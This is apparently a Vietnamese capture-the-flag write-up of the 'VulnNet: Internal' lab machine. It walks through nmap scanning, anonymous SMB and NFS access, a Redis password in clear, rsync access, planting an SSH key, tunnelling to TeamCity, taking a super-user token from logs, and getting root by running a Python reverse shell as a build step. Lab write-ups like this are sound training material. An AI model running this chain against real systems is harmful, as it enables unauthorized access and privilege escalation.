VulnNet Entertainment is a company that learns from its mistakes. They quickly realized that they can't make a properly secured web application so they gave up on that idea. Instead, they decided to set up internal services for business purposes. As usual, you're tasked to perform a penetration test of their network and report your findings.
- Difficulty: Easy/Medium
- Operating System: Linux
This machine was designed to be quite the opposite of the previous machines in this series and it focuses on internal services. It's supposed to show you how you can retrieve interesting information and use it to gain system access. Report your findings by submitting the correct flags.
Note: It might take 3-5 minutes for all the services to boot.
- Author: MindOverfløw
- Discord: MindOverfløw#0420
Icon made by Freepik from www.flaticon.com
Bước 1: Thu thập thông tin
Sử dụng câu lệnh nmap để thu thập thông tin cổng dịch vụ đang mở
nmap -A -p- ip_victim
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
| 256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
|_ 256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35973/tcp mountd
| 100005 1,2,3 50743/udp mountd
| 100005 1,2,3 50821/tcp6 mountd
| 100005 1,2,3 60228/udp6 mountd
| 100021 1,3,4 33804/udp6 nlockmgr
| 100021 1,3,4 35968/udp nlockmgr
| 100021 1,3,4 38965/tcp6 nlockmgr
| 100021 1,3,4 44305/tcp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp open rsync (protocol version 31)
2049/tcp open nfs_acl 3 (RPC #100227)
6379/tcp open redis Redis key-value store
9090/tcp filtered zeus-admin
35973/tcp open mountd 1-3 (RPC #100005)
39613/tcp open mountd 1-3 (RPC #100005)
42041/tcp open java-rmi Java RMI
44305/tcp open nlockmgr 1-4 (RPC #100021)
49833/tcp open mountd 1-3 (RPC #100005)
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -39m59s, deviation: 1h09m16s, median: 0s
|_nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: vulnnet-internal
| NetBIOS computer name: VULNNET-INTERNAL\x00
| Domain name: \x00
| FQDN: vulnnet-internal
|_ System time: 2021-05-26T20:17:39+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-05-26T18:17:39
|_ start_date: N/A
Rất nhiều cổng được mở, đáng nói là không có cổng web chỉ có cổng SMB, redis và sử dụng NFS chia sẻ thư mục. Đây là 3 dịch vụ phổ biến của linux
Bước 2: Khai thác thông tin thu thập
Mình khai thác dịch vụ SMB:
smbclient -L //ip-victim/ -N
Phát hiện thư mục shares có tồn tại chia sẻ công khai. Mình tiến hành truy cập vào thư mục này smbclient //ip-victim/shares
Có 2 thư mục temp và data, mình truy cập vào temp và đọc tệp tin service.txtcd temp
dir
more service.txt
Sau đó mình vào thư mục datacd ../data
dir
Có mấy tệp tin txt này mình tải về và đọc xem sao
get data.txt
get business-req.txt
cat data.txt
cat business-req.txt
Sau đó mình thực hiện kiểm tra dịch vụ NFS xem thế nào Phát hiện thư mục /opt/conf có thể kết nối tới để khai thác mkdir -p /tmp/mnt
mount -t nfs 10.10.190.83:/opt/conf/ /tmp/mnt
Sau khi thấy trong này có một tệp redis và tệp tin cấu hình, mình vào mở ra và lấy một mật khẩu B65Hx562F@ggAZ@F
Mình sử dụng lệnh liên quan đến redis để thực hiện khai thác:redis-cli -h ip_victim -a [..]
keys *
get "internal flag"
lrange authlist 0 -1
Mình thu được một mã base64 nữa kèm theo và sau đó giải mã thu được thông tin sử dụng lệnh rsync
Mình thực hiện truy cập vào thư mục của máy chủ victim xem có gì
rsync rsync://rsyn-connect@ip-victim
Phát hiện thư mục files/ tiếp tục tìm kiếm sâu vào trong phát hiện một tệp tin sys-internal, mình tiếp tục truy cập và đó thấy đây là nội dung trong một user trong hệ thống linux thấy một tệp tin user.txt và dịch vụ ssh có chạy ở user này
Tải tệp tin user.txt này về: rsync -avzh rsync://rsyn-connect@ip-victim/files/sys-internal/user.txt .
Sau đó tải về để đọc cờ số 3.
Mình sinh một tệp tin id_rsa.pub không có mật khẩu. Mình tiến hành upload lên user sys-internal để log in vào
Bước 3: Leo thang
Kiểm tra thư mục chính hệ thống
ls -la /
total 533824
drwxr-xr-x 24 root root 4096 Feb 6 12:58 ./
drwxr-xr-x 24 root root 4096 Feb 6 12:58 ../
drwxr-xr-x 2 root root 4096 Feb 2 14:05 bin/
drwxr-xr-x 3 root root 4096 Feb 1 14:02 boot/
drwx------ 2 root root 4096 Feb 1 13:41 .cache/
drwxr-xr-x 17 root root 3720 May 27 07:34 dev/
drwxr-xr-x 129 root root 12288 Feb 7 19:21 etc/
drwxr-xr-x 3 root root 4096 Feb 1 13:51 home/
lrwxrwxrwx 1 root root 34 Feb 1 14:01 initrd.img -> boot/initrd.img-4.15.0-135-generic
lrwxrwxrwx 1 root root 33 Feb 1 13:30 initrd.img.old -> boot/initrd.img-4.15.0-20-generic
drwxr-xr-x 18 root root 4096 Feb 1 13:43 lib/
drwxr-xr-x 2 root root 4096 Feb 1 13:28 lib64/
drwx------ 2 root root 16384 Feb 1 13:27 lost+found/
drwxr-xr-x 4 root root 4096 Feb 2 10:49 media/
drwxr-xr-x 2 root root 4096 Feb 1 13:27 mnt/
drwxr-xr-x 4 root root 4096 Feb 2 10:28 opt/
dr-xr-xr-x 136 root root 0 May 27 07:33 proc/
drwx------ 8 root root 4096 Feb 6 13:32 root/
drwxr-xr-x 27 root root 880 May 27 08:37 run/
drwxr-xr-x 2 root root 4096 Feb 2 14:06 sbin/
drwxr-xr-x 2 root root 4096 Feb 1 13:27 srv/
-rw------- 1 root root 546529280 Feb 1 13:27 swapfile
dr-xr-xr-x 13 root root 0 May 27 08:39 sys/
drwxr-xr-x 12 root root 4096 Feb 6 13:30 TeamCity/ <----------- interesting
drwxrwxrwt 11 root root 4096 May 27 08:40 tmp/
drwxr-xr-x 10 root root 4096 Feb 1 13:27 usr/
drwxr-xr-x 13 root root 4096 Feb 1 13:43 var/
lrwxrwxrwx 1 root root 31 Feb 1 14:01 vmlinuz -> boot/vmlinuz-4.15.0-135-generic
lrwxrwxrwx 1 root root 30 Feb 1 13:30 vmlinuz.old -> boot/vmlinuz-4.15.0-20-generic
thấy thư mục TeamCity đây là một dịch vụ khá nối tiếng tạo server websit, nó luôn chạy ở cổng 8111 mình kiểm tra xem cổng này có đang mở không
ss -ltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 0.0.0.0:microsoft-ds 0.0.0.0:*
LISTEN 0 128 0.0.0.0:39391 0.0.0.0:*
LISTEN 0 64 0.0.0.0:nfs 0.0.0.0:*
LISTEN 0 128 0.0.0.0:33735 0.0.0.0:*
LISTEN 0 5 0.0.0.0:rsync 0.0.0.0:*
LISTEN 0 50 0.0.0.0:netbios-ssn 0.0.0.0:*
LISTEN 0 128 0.0.0.0:6379 0.0.0.0:*
LISTEN 0 128 0.0.0.0:sunrpc 0.0.0.0:*
LISTEN 0 64 0.0.0.0:34769 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:domain 0.0.0.0:*
LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
LISTEN 0 5 127.0.0.1:ipp 0.0.0.0:*
LISTEN 0 128 0.0.0.0:33145 0.0.0.0:*
LISTEN 0 50 [::ffff:127.0.0.1]:57882 *:*
LISTEN 0 50 [::]:microsoft-ds [::]:*
LISTEN 0 64 [::]:nfs [::]:*
LISTEN 0 50 *:9090 *:*
LISTEN 0 1 [::ffff:127.0.0.1]:8105 *:*
LISTEN 0 5 [::]:rsync [::]:*
LISTEN 0 128 [::1]:6379 [::]:*
LISTEN 0 50 [::]:netbios-ssn [::]:*
LISTEN 0 100 [::ffff:127.0.0.1]:8111 *:* <------------ TeamCity running on localhost on port 8111
LISTEN 0 128 [::]:sunrpc [::]:*
LISTEN 0 64 [::]:33363 [::]:*
LISTEN 0 128 [::]:40659 [::]:*
LISTEN 0 128 [::]:ssh [::]:*
LISTEN 0 50 *:35095 *:*
LISTEN 0 128 [::]:38359 [::]:*
LISTEN 0 5 [::1]:ipp [::]:*
LISTEN 0 128 [::]:46425 [::]:*
Mình thực hiện sử dụng ssh tunnel để kết nối mở cổng này trên máy kali của mình thực hiện khai thác dịch vụ này, vì nhược điểm của nó là chạy dưới quyền root nên mình có thể leo thang dựa vào nó
ssh -L 8111:127.0.0.1:8111 sys-internal@ip_victim
Mình truy cập web theo cổng 8111
Phát hiện thông báo có thể đăng nhập sử dụng super user như một admin, mình bấm vào link đó phát hiện mình cần một tokenMình vào thư mục TeamCity thấy một tệp tin logs mình thực hiện tìm kiếm token trong đây bằng lệnh:
grep -iR token logs/ 2>/dev/null
Thu được giá trị token mình lấy cái mới nhất đăng nhập vào được website quản trị của nó. Thì nhìn qua thì nó chưa có tạo một project gì nên mình tiến hành tạo một project tên là hacker sau đó sẽ tinh chỉnh chọn một custom script là python nhé
Mình kiếm một đoạn code revesre shell python nhập vào form xong đó lưu lại Đồng thời trên máy kali mở chế độ lắng nghe kết nối và thực hiện run chương trình chúng ta vừa khởi tạo ở trên và thành công leo thang Việc cuối cùng của bạn là đọc cờ cuối thôi nhé 👀👀👀👌👌👌👌
0 Comments